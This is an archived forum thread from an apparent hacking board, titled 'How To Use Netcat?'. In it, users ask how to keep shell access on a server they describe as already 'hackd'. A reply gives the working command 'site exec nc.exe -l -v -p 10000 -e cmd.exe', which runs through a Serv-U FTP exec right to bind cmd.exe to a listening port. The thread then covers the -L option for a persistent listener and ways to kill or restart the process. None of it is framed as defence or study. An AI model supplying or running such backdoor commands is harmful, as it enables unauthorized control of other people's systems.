hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: How To Use Netcat?
ducky
Let's say i got hackd machine i wanna start netcat on it to receive admin axx to make serv-u as service....(IIS media)


i upload it to the server and how do i start and use it??


Really need help here...thanks smile.gif
Comedy
ok...
if you're using serv-u and you have exec right send this command:
site exec nc.exe -l -v -p 10000 -e cmd.exe
(where nc.exe is the name of netcat if different)

That will spawn a shell on port 10000 when it gets an incoming connection.. also it will only do it once, so if you disconnect you need to run the command through the ftp again. If you want it to keep listening after you disconnect use -L instead of -l in the syntax, i do advise using -l though... you dont want it still listening when you've finished your hack
ducky
Thanks a lot m8 helped me here ! laugh.gif i owe you 1 smile.gif
Jettaman
yeah thx!

But I have a little prob...

I started netcat with -L and I connected successfully, but only one time...after disconnecting nc.exe is closing sad.gif

plz help!
Comedy
try typing 'tskill nc' at the command prompt. I'm not sure if it works when you're connected.
If not then reconnect via ftp and send the command 'site exec tskill nc'.
If that doesnt work then get kill.exe from this post, upload it to the ftp and type site exec kill nc (or just kill nc at dos)

If your netcat executable isn't called nc.exe then you know to change the name smile.gif
Jettaman
Why should I kill nc? It kills itself after disconnecting...
Comedy
sorry completely misread your post. I'll leave that bit there incase anyone had that problem.

I dont know what the problem would be if it still closes after one session when you use -L sad.gif
try it on your own computer and telnet to it, close it and telnet again. See if it works on yours.
I havent had any times myself when it hasn't restarted when i've used -L so I'm stumped blink.gif

edit/ the only temporary solution I can think of for it is if you just start another nc session on a different port before you disconnect. Not the best solution but it's better than no solution
Jettaman
HuH?! Now it works! THX!
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.